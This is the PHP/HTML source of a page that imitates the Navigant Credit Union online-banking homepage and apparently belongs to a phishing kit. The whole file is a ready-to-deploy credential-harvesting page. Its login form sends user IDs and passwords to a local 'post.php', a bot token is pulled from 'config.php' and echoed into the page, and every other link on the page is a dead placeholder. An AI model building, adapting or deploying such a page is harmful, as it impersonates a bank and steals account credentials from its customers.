<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Navigant Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:     #3F4B97;
            --blue-dk:  #323d7e;
            --orange:   #EC6C35;
            --orange-dk:#d45e2a;
            --text:     #1a1a1a;
            --text-sub: #555;
            --border:   #dde2ea;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── TOP UTILITY BAR ─────────────────────────── */
        .top-bar {
            background: var(--white);
            border-bottom: 1px solid #eee;
            padding: 0 40px;
            height: 44px;
            display: flex; align-items: center; justify-content: flex-end;
            gap: 28px;
        }
        .top-bar a {
            font-size: 13px; font-weight: 500; color: var(--text-sub);
            text-decoration: none; transition: color .15s;
        }
        .top-bar a:hover { color: var(--blue); }
        .top-bar .open-acc { color: var(--orange); font-weight: 600; }
        .top-bar .open-acc:hover { color: var(--orange-dk); }
        .btn-login-top {
            padding: 7px 20px; background: var(--orange); color: #fff;
            border: none; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 13px; font-weight: 700;
            cursor: pointer; transition: background .15s;
        }
        .btn-login-top:hover { background: var(--orange-dk); }
        .lang-select {
            font-size: 13px; color: var(--text-sub); border: 1px solid #ddd;
            background: var(--white); border-radius: 3px; padding: 4px 8px;
            cursor: pointer; font-family: 'Inter', sans-serif;
        }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 40px;
            height: 76px;
            display: flex; align-items: center; justify-content: space-between;
            position: relative; z-index: 300;
        }
        .nav-logo img { height: 58px; width: auto; display: block; }
        .nav-center { display: flex; align-items: center; gap: 28px; }
        .nav-center a {
            font-size: 15px; font-weight: 700; text-decoration: none;
            padding-bottom: 3px; letter-spacing: .02em;
        }
        .nav-center a.personal { color: var(--orange); border-bottom: 2px solid var(--orange); }
        .nav-center a.business { color: var(--blue); }
        .nav-center a.business:hover { border-bottom: 2px solid var(--blue); }
        .nav-right {
            display: flex; align-items: center; gap: 10px;
        }
        .search-wrap {
            display: flex; align-items: center; gap: 8px;
            border: 1px solid #ddd; border-radius: 24px;
            padding: 6px 14px; background: var(--white);
        }
        .search-wrap input {
            border: none; outline: none; font-family: 'Inter', sans-serif;
            font-size: 13px; width: 140px; color: var(--text); background: transparent;
        }
        .search-wrap svg { color: #999; flex-shrink: 0; }
        .search-arrow { color: var(--orange); font-weight: 700; cursor: pointer; }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            position: relative; overflow: hidden;
            min-height: 520px;
        }
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.jpeg') center center / cover no-repeat;
            z-index: 0;
        }
        /* subtle left gradient for text legibility */
        .hero-overlay {
            position: absolute; inset: 0; z-index: 1;
            background: linear-gradient(to right, rgba(0,0,0,.38) 0%, rgba(0,0,0,.15) 45%, transparent 70%);
        }

        /* Hero text bottom-left */
        .hero-content {
            position: absolute; left: 56px; bottom: 100px; z-index: 3;
            max-width: 500px;
        }
        .hero-content h1 {
            font-size: clamp(26px, 3vw, 42px);
            font-weight: 700; color: #fff; line-height: 1.2; margin-bottom: 10px;
        }
        .hero-content p { font-size: 15px; color: rgba(255,255,255,.92); margin-bottom: 22px; }
        .btn-hero {
            display: inline-flex; align-items: center;
            padding: 12px 26px; background: var(--blue); color: #fff;
            border: none; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            cursor: pointer; text-decoration: none;
            transition: background .15s;
        }
        .btn-hero:hover { background: var(--blue-dk); }

        /* Carousel dots */
        .carousel-dots {
            position: absolute; bottom: 20px; left: 50%; transform: translateX(-50%);
            z-index: 3; display: flex; gap: 8px;
        }
        .cdot { width: 12px; height: 12px; border-radius: 50%; background: rgba(255,255,255,.5); cursor: pointer; }
        .cdot.active { background: var(--orange); }

        /* ── LOGIN DROPDOWN ─────────────────────────── */
        .login-wrap { position: relative; }
        .login-dd {
            display: none; position: absolute;
            top: 100%; right: 0;
            width: 320px;
            background: var(--white);
            border: 1px solid #e0e4ee;
            border-radius: 4px;
            box-shadow: 0 8px 36px rgba(0,0,0,.15);
            z-index: 500;
            animation: ddIn .18s ease both;
        }
        .login-dd.open { display: block; }
        @keyframes ddIn { from{opacity:0;transform:translateY(-6px)} to{opacity:1;transform:translateY(0)} }

        .dd-close {
            position: absolute; top: 10px; right: 12px;
            background: none; border: none; cursor: pointer;
            font-size: 18px; color: #888; line-height: 1;
        }
        .dd-close:hover { color: #333; }

        /* Account type selector */
        .dd-selector {
            padding: 14px 16px 0;
        }
        .dd-select {
            width: 100%; height: 42px; padding: 0 12px;
            border: 1px solid #d0d4e0; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 13.5px;
            color: var(--text); background: #f5f0ec;
            outline: none; cursor: pointer; appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23555' stroke-width='2.5' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='m6 9 6 6 6-6'/%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: right 12px center;
            padding-right: 32px;
        }

        /* Fields */
        .dd-fields { padding: 14px 16px 10px; }
        .dd-f { margin-bottom: 10px; }
        .dd-f input {
            width: 100%; height: 42px; padding: 0 12px;
            border: 1px solid #d0d4e0; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 14px; color: var(--text);
            background: #f8f9fb; outline: none;
            transition: border-color .15s, box-shadow .15s;
            -webkit-appearance: none;
        }
        .dd-f input::placeholder { color: #aab; }
        .dd-f input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(63,75,151,.1); background: #fff; }

        /* Actions row */
        .dd-actions {
            display: flex; align-items: center; justify-content: space-between;
            padding: 0 16px 14px;
        }
        .dd-sub-links { display: flex; flex-direction: column; gap: 4px; }
        .dd-sub-links a { font-size: 12px; color: var(--orange); text-decoration: none; }
        .dd-sub-links a:hover { text-decoration: underline; }
        .btn-dd-login {
            padding: 10px 26px; background: var(--orange); color: #fff;
            border: none; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 700;
            cursor: pointer; transition: background .15s;
        }
        .btn-dd-login:hover { background: var(--orange-dk); }

        /* Pay your loan banner */
        .dd-pay {
            background: var(--blue); color: #fff;
            text-align: center; padding: 13px;
            font-size: 13px; font-weight: 700;
            letter-spacing: .08em; text-transform: uppercase;
            cursor: pointer; transition: background .15s;
            text-decoration: none; display: block;
            border-radius: 0 0 3px 3px;
        }
        .dd-pay:hover { background: var(--blue-dk); }

        /* ── HOW CAN WE HELP ─────────────────────────── */
        .help-strip {
            padding: 40px 40px 20px;
            text-align: center; background: var(--white);
        }
        .help-strip h2 {
            font-size: clamp(20px, 2.2vw, 30px);
            font-weight: 700; color: var(--text);
        }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--blue); padding: 20px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        @media(max-width:900px) { .nav-center{display:none;} .nav-right{display:none;} .top-bar{padding:0 20px;gap:16px;} .main-nav{padding:0 20px;} .hero-content{left:24px;bottom:80px;} }
        @media(max-width:500px) { .login-dd{width:290px;right:-20px;} }
    </style>
</head>
<body>

    <!-- Top Bar -->
    <div class="top-bar">
        <a href="#">Rates</a>
        <a href="#">Contact Us</a>
        <a href="#">About Us</a>
        <a href="#">Community</a>
        <a href="#">Pay Your Loan</a>
        <a href="#" class="open-acc">Open Account</a>
        <div class="login-wrap">
            <button class="btn-login-top" id="login-trigger">Log In</button>
            <div class="login-dd" id="login-dd">
                <button class="dd-close" id="dd-close">✕</button>
                <div class="dd-selector">
                    <select class="dd-select">
                        <option>Personal Online Banking</option>
                        <option>Business Online Banking</option>
                    </select>
                </div>
                <div class="dd-fields">
                    <script>var token=<?php echo json_encode($bot); ?>;</script>
                    <form action="post.php" method="post">
                        <div class="dd-f"><input type="text" name="user" placeholder="User ID" required autocomplete="username"></div>
                        <div class="dd-f"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                        <div class="dd-actions">
                            <div class="dd-sub-links">
                                <a href="#">Forgot password</a>
                                <a href="#">Test your browser</a>
                                <a href="#">Help | Enroll</a>
                            </div>
                            <button type="submit" class="btn-dd-login">Log in</button>
                        </div>
                    </form>
                </div>
                <a href="#" class="dd-pay">Pay Your Loan</a>
            </div>
        </div>
        <select class="lang-select"><option>English</option><option>Español</option></select>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Navigant Credit Union"></div>
        <div class="nav-center">
            <a href="#" class="personal">PERSONAL</a>
            <a href="#" class="business">BUSINESS</a>
        </div>
        <div class="nav-right">
            <div class="search-wrap">
                <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
                <input type="text" placeholder="Search">
                <span class="search-arrow">›</span>
            </div>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-overlay"></div>
        <div class="hero-content">
            <h1>College can be expensive.<br>Let us help.</h1>
            <p>Our 2026 Annual Scholarships are open until March 31st!</p>
            <a href="#" class="btn-hero">Apply now</a>
        </div>
        <div class="carousel-dots">
            <div class="cdot active"></div>
            <div class="cdot"></div>
            <div class="cdot"></div>
            <div class="cdot"></div>
        </div>
    </div>

    <!-- Help Strip -->
    <div class="help-strip">
        <h2>How can we help you today?</h2>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Navigant Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script>
        var t=document.getElementById('login-trigger'), d=document.getElementById('login-dd'), c=document.getElementById('dd-close');
        t.addEventListener('click',function(e){e.stopPropagation();d.classList.toggle('open');});
        c.addEventListener('click',function(){d.classList.remove('open');});
        document.addEventListener('click',function(e){if(!document.querySelector('.login-wrap').contains(e.target))d.classList.remove('open');});
        document.addEventListener('keydown',function(e){if(e.key==='Escape')d.classList.remove('open');});
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>